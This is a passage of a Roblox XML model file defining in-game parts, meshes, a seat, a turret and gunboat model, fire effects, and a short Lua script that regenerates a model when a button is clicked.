</ProtectedString>
							</Properties>
						</Item>
						<Item class="Sound" referent="RBX5350">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Looped">false</bool>
								<string name="Name">Fire</string>
								<float name="Pitch">1</float>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><url>http://www.roblox.com/asset/?id=2697431</url></Content>
								<float name="Volume">1</float>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX5351">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">208</int>
							<CoordinateFrame name="CFrame">
								<X>-1123.99097</X>
								<Y>7.59817219</Y>
								<Z>641.999329</Z>
								<R00>0.865949392</R00>
								<R01>0.00506167114</R01>
								<R02>0.500105977</R02>
								<R10>-0.00459999312</R10>
								<R11>0.999987066</R11>
								<R12>-0.0021558404</R12>
								<R20>-0.500110567</R20>
								<R21>-0.000433623791</R21>
								<R22>0.865961552</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">2</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">2</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part1</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0.00253061112</X>
								<Y>0.000121983161</Y>
								<Z>0.00395261496</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">2</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0.00736167701</X>
								<Y>0.0177158322</Y>
								<Z>-0.00237832824</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>4</X>
								<Y>0.400000006</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
						<Item class="BlockMesh" referent="RBX5352">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="Bevel">0</float>
								<float name="Bevel Roundness">0</float>
								<float name="Bulge">0</float>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="BodyGyro" referent="RBX5353">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="D">500</float>
								<string name="Name">BodyGyro</string>
								<float name="P">3000</float>
								<CoordinateFrame name="cframe">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>0.642746687</R00>
									<R01>3.65983979e-005</R01>
									<R02>-0.766098619</R02>
									<R10>-4.10464709e-005</R10>
									<R11>1</R11>
									<R12>1.33365174e-005</R12>
									<R20>0.766098619</R20>
									<R21>2.28728441e-005</R21>
									<R22>0.642746687</R22>
								</CoordinateFrame>
								<Vector3 name="maxTorque">
									<X>0</X>
									<Y>400000</Y>
									<Z>0</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="Fire" referent="RBX5354">
							<Properties>
								<bool name="Archivable">true</bool>
								<Color3 name="Color">4278190335</Color3>
								<bool name="Enabled">false</bool>
								<string name="Name">Fire</string>
								<Color3 name="SecondaryColor">4294967295</Color3>
								<float name="heat_xml">25</float>
								<float name="size_xml">30</float>
							</Properties>
						</Item>
					</Item>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX5355">
			<Properties>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">194</int>
				<CoordinateFrame name="CFrame">
					<X>-1064</X>
					<Y>3.79999995</Y>
					<Z>667</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>-1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>1</R20>
					<R21>0</R21>
					<R22>-0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">1056</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>24</X>
					<Y>6</Y>
					<Z>6</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Model" referent="RBX5356">
			<Properties>
				<bool name="Archivable">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Model</string>
				<Ref name="PrimaryPart">null</Ref>
			</Properties>
			<Item class="Seat" referent="RBX5357">
				<Properties>
					<bool name="Anchored">false</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">2</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>-1144</X>
						<Y>7.4000001</Y>
						<Z>670</Z>
						<R00>-0</R00>
						<R01>0</R01>
						<R02>1</R02>
						<R10>-0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>-1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">2</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
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				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">2</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.000119591765</X>
					<Y>-1.06147667e-007</Y>
					<Z>-1.84821693e-006</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">2</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-6.51290929e-006</X>
					<Y>0.000745367957</Y>
					<Z>-3.91584617e-005</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>1.20000005</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Model" referent="RBX5378">
			<Properties>
				<bool name="Archivable">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Model</string>
				<Ref name="PrimaryPart">null</Ref>
			</Properties>
			<Item class="Part" referent="RBX5379">
				<Properties>
					<bool name="Anchored">true</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">104</int>
					<CoordinateFrame name="CFrame">
						<X>-1149</X>
						<Y>7</Y>
						<Z>683</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>-0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>-0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">2</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Button1</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>4</X>
						<Y>0.400000006</Y>
						<Z>4</Z>
					</Vector3>
				</Properties>
				<Item class="ClickDetector" referent="RBX5380">
					<Properties>
						<bool name="Archivable">true</bool>
						<float name="MaxActivationDistance">100</float>
						<string name="Name">ClickDetector</string>
					</Properties>
				</Item>
				<Item class="Fire" referent="RBX5381">
					<Properties>
						<bool name="Archivable">true</bool>
						<Color3 name="Color">4294948864</Color3>
						<bool name="Enabled">false</bool>
						<string name="Name">Fire</string>
						<Color3 name="SecondaryColor">4294901760</Color3>
						<float name="heat_xml">25</float>
						<float name="size_xml">30</float>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX5382">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">regen</string>
						<ProtectedString name="Source">-- dark886&apos;s click regen script 
-- just place this script to the button
-- just place the button to the model
-- just place the model to anywhere lol

location = script.Parent.Parent.Parent
regen = script.Parent.Parent
save = regen:clone()

function onClicked()
	regen:remove()
	back = save:clone()
	back.Parent = location
	back:MakeJoints()
end 

script.Parent.ClickDetector.MouseClick:connect(onClicked)</ProtectedString>
					</Properties>
				</Item>
				<Item class="ForceField" referent="RBX5383">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">ForceField</string>
					</Properties>
				</Item>
			</Item>
			<Item class="Model" referent="RBX5384">
				<Properties>
					<bool name="Archivable">true</bool>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Model</string>
					<Ref name="PrimaryPart">null</Ref>
				</Properties>
				<Item class="Model" referent="RBX5385">
					<Properties>
						<bool name="Archivable">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Turret</string>
						<Ref name="PrimaryPart">null</Ref>
					</Properties>
					<Item class="Model" referent="RBX5386">
						<Properties>
							<bool name="Archivable">true</bool>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">50cal</string>
							<Ref name="PrimaryPart">null</Ref>
						</Properties>
						<Item class="IntValue" referent="RBX5387">
							<Properties>
								<bool name="Archivable">true</bool>
								<string name="Name">PlaneCheck</string>
								<int name="Value">0</int>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX5388">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">0</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">24</int>
							<CoordinateFrame name="CFrame">
								<X>-1147</X>
								<Y>6.5999999</Y>
								<Z>670.5</Z>
								<R00>-0</R00>
								<R01>-0</R01>
								<R02>-1</R02>
								<R10>-0</R10>
								<R11>-1</R11>
								<R12>-0</R12>
								<R20>-1</R20>
								<R21>-0</R21>
								<R22>-0</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">2</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">2</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Smooth Block Model</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>-0.000119591765</X>
								<Y>-1.06147667e-007</Y>
								<Z>-1.84821693e-006</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">2</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>-5.35652589e-006</X>
								<Y>0.0019292722</Y>
								<Z>-0.000181978583</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>5</X>
								<Y>1.20000005</Y>
								<Z>10</Z>
							</Vector3>
						</Properties>
					</Item>
				</Item>
				<Item class="Model" referent="RBX5389">
					<Properties>
						<bool name="Archivable">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">GunBoat</string>
						<Ref name="PrimaryPart">null</Ref>
					</Properties>
					<Item class="Model" referent="RBX5390">
						<Properties>
							<bool name="Archivable">true</bool>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">Bodykit</string>
							<Ref name="PrimaryPart">null</Ref>
						</Properties>
						<Item class="Part" referent="RBX5391">
							<Properties>
								<bool name="Anchored">false</bool>
								<bool name="Archivable">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">2</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">2</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">24</int>
								<CoordinateFrame name="CFrame">
									<X>-1141.5</X>
									<Y>8.5</Y>
									<Z>644</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<bool name="CanCollide">true</bool>
								<float name="Elasticity">0</float>
								<token name="FormFactor">0</token>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
								<token name="FrontSurface">2</token>
								<token name="FrontSurfaceInput">0</token>
								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">2</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">Part</string>
								<float name="Reflectance">0</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">2</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>-0.000119591765</X>
									<Y>-1.06147667e-007</Y>
									<Z>-1.84821693e-006</Z>
								</Vector3>
								<float name="TopParamA">-0.5</float>
								<float name="TopParamB">0.5</float>
								<token name="TopSurface">2</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0</float>
								<Vector3 name="Velocity">
									<X>9.67999767e-007</X>
									<Y>-0.00125007471</Y>
									<Z>-0.000408619118</Z>
								</Vector3>
								<token name="shape">1</token>
								<Vector3 name="size">
									<X>1</X>
									<Y>1</Y>
									<Z>14</Z>
								</Vector3>
							</Properties>
							<Item class="BlockMesh" referent="RBX5392">
								<Properties>
									<bool name="Archivable">true</bool>
									<float name="Bevel">0</float>
									<float name="Bevel Roundness">0</float>
									<float name="Bulge">0</float>
									<token name="LODX">2</token>
									<token name="LODY">2</token>
									<string name="Name">Mesh</string>
									<Vector3 name="Offset">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<Vector3 name="Scale">
										<X>1</X>
										<Y>1</Y>
										<Z>1</Z>
									</Vector3>
									<Vector3 name="VertexColor">
										<X>1</X>
										<Y>1</Y>
										<Z>1</Z>
									</Vector3>
								</Properties>
							</Item>
						</Item>
						<Item class="Part" referent="RBX5393">
							<Properties>
								<bool name="Anchored">false</bool>
								<bool name="Archivable">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">2</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">0</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">106</int>
								<CoordinateFrame name="CFrame">
									<X>-1147</X>
									<Y>4</Y>
									<Z>642</Z>
									<R00>-1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>-1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<bool name="CanCollide">true</bool>
								<float name="Elasticity">0</float>
								<token name="FormFactor">0</token>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
								<token name="FrontSurface">0</token>
								<token name="FrontSurfaceInput">0</token>
								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">0</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">Part</string>
								<float name="Reflectance">0</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">0</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>-0.000119591765</X>
									<Y>-1.06147667e-007</Y>
									<Z>-1.84821693e-006</Z>
								</Vector3>
								<float name="TopParamA">-0.5</float>
								<float name="TopParamB">0.5</float>
								<token name="TopSurface">0</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0</float>
								<Vector3 name="Velocity">
									<X>-7.13668123e-006</X>
									<Y>-0.00147909299</Y>
									<Z>0.00012895999</Z>
								</Vector3>
								<token name="shape">1</token>
								<Vector3 name="size">
									<X>12</X>
									<Y>4</Y>
									<Z>10</Z>
								</Vector3>
							</Properties>
							<Item class="SpecialMesh" referent="RBX5394">
								<Properties>
									<bool name="Archivable">true</bool>
									<token name="LODX">2</token>
									<token name="LODY">2</token>
									<Content name="MeshId"><null></null></Content>
									<token name="MeshType">2</token>
									<string name="Name">Mesh</string>
									<Vector3 name="Offset">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<Vector3 name="Scale">
										<X>1</X>
										<Y>1</Y>
										<Z>1</Z>
									</Vector3>
									<Content name="TextureId"><null></null></Content>
									<Vector3 name="VertexColor">
										<X>1</X>
										<Y>1</Y>
										<Z>1</Z>
									</Vector3>
								</Properties>
							</Item>
						</Item>
						<Item class="Part" referent="RBX5395">
							<Properties>
								<bool name="Anchored">false</bool>
								<bool name="Archivable">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">0</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">2</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">24</int>
								<CoordinateFrame name="CFrame">
									<X>-1148.5</X>
									<Y>8.30000019</Y>
									<Z>658</Z>
									<R00>-1</R00>
									<R01>0</R01>
									<R02>0</R02>
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									<R11>1</R11>
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									<R20>0</R20>
									<R21>0</R21>
									<R22>-1</R22>
								</CoordinateFrame>
								<bool name="CanCollide">false</bool>
								<float name="Elasticity">0</float>
								<token name="FormFactor">0</token>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
								<token name="FrontSurface">0</token>
								<token name="FrontSurfaceInput">0</token>
								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">0</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">Part</string>
								<float name="Reflectance">0</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">0</token>
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									<Y>0.5</Y>
									<Z>677.799988</Z>
									<R00>0</R00>
									<R01>0</R01>
									<R02>1</R02>
									<R10>1</R10>
									<R11>0</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>1</R21>
									<R22>0</R22>
								</CoordinateFrame>
								<bool name="CanCollide">true</bool>
								<float name="Elasticity">0</float>
								<token name="FormFactor">0</token>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
								<token name="FrontSurface">2</token>
								<token name="FrontSurfaceInput">0</token>
								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">0</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">Part</string>
								<float name="Reflectance">0</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">2</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>-0.000119591765</X>
									<Y>-1.06147667e-007</Y>
									<Z>-1.84821693e-006</Z>
								</Vector3>
								<float name="TopParamA">-0.5</float>
								<float name="TopParamB">0.5</float>
								<token name="TopSurface">2</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0</float>
								<Vector3 name="Velocity">
									<X>-1.74055258e-005</X>
									<Y>0.00280229072</Y>
									<Z>0.000547531177</Z>
								</Vector3>
								<token name="shape">1</token>
								<Vector3 name="size">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
							<Item class="SpecialMesh" referent="RBX5432">
								<Properties>
									<bool name="Archivable">true</bool>
									<token name="LODX">2</token>
									<token name="LODY">2</token>
									<Content name="MeshId"><null></null></Content>
									<token name="MeshType">0</token>
									<string name="Name">Mesh</string>
									<Vector3 name="Offset">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<Vector3 name="Scale">
										<X>1.5</X>
										<Y>2</Y>
										<Z>1.5</Z>
									</Vector3>
									<Content name="TextureId"><null></null></Content>
									<Vector3 name="VertexColor">
										<X>1</X>
										<Y>1</Y>
										<Z>1</Z>
									</Vector3>
								</Properties>
							</Item>
						</Item>
						<Item class="Part" referent="RBX5433">
							<Properties>
								<bool name="Anchored">false</bool>
								<bool name="Archivable">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">0</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">2</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">1003</int>
								<CoordinateFrame name="CFrame">
									<X>-1147</X>
									<Y>0.5</Y>
									<Z>678.5</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>0</R11>
									<R12>-1</R12>
									<R20>0</R20>
									<R21>1</R21>
									<R22>0</R22>
								</CoordinateFrame>
								<bool name="CanCollide">true</bool>
								<float name="Elasticity">0</float>
								<token name="FormFactor">2</token>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
								<token name="FrontSurface">2</token>
								<token name="FrontSurfaceInput">0</token>
								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">2</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">Part</string>
								<float name="Reflectance">0</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">2</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>-0.000119591765</X>
									<Y>-1.06147667e-007</Y>
									<Z>-1.84821693e-006</Z>
								</Vector3>
								<float name="TopParamA">-0.5</float>
								<float name="TopParamB">0.5</float>
								<token name="TopSurface">2</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0.400000006</float>
								<Vector3 name="Velocity">
									<X>-1.74798297e-005</X>
									<Y>0.00288600638</Y>
									<Z>0.000547531177</Z>
								</Vector3>
								<token name="shape">1</token>
								<Vector3 name="size">
									<X>1</X>
									<Y>0.400000006</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
							<Item class="CylinderMesh" referent="RBX5434">
								<Properties>
									<bool name="Archivable">true</bool>
									<float name="Bevel">0</float>
									<float name="Bevel Roundness">0</float>
									<float name="Bulge">0</float>
									<token name="LODX">2</token>
									<token name="LODY">2</token>
									<string name="Name">Mesh</string>
									<Vector3 name="Offset">
										<X>0</X>
										<Y>-0.25</Y>
										<Z>0</Z>
									</Vector3>
									<Vector3 name="Scale">
										<X>4.5</X>
										<Y>0</Y>
										<Z>4.5</Z>
									</Vector3>
									<Vector3 name="VertexColor">
										<X>1</X>
										<Y>1</Y>
										<Z>1</Z>
									</Vector3>
								</Properties>
							</Item>
						</Item>
						<Item class="Part" referent="RBX5435">
							<Properties>
								<bool name="Anchored">false</bool>
								<bool name="Archivable">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">2</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">2</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">24</int>
								<CoordinateFrame name="CFrame">
									<X>-1150</X>
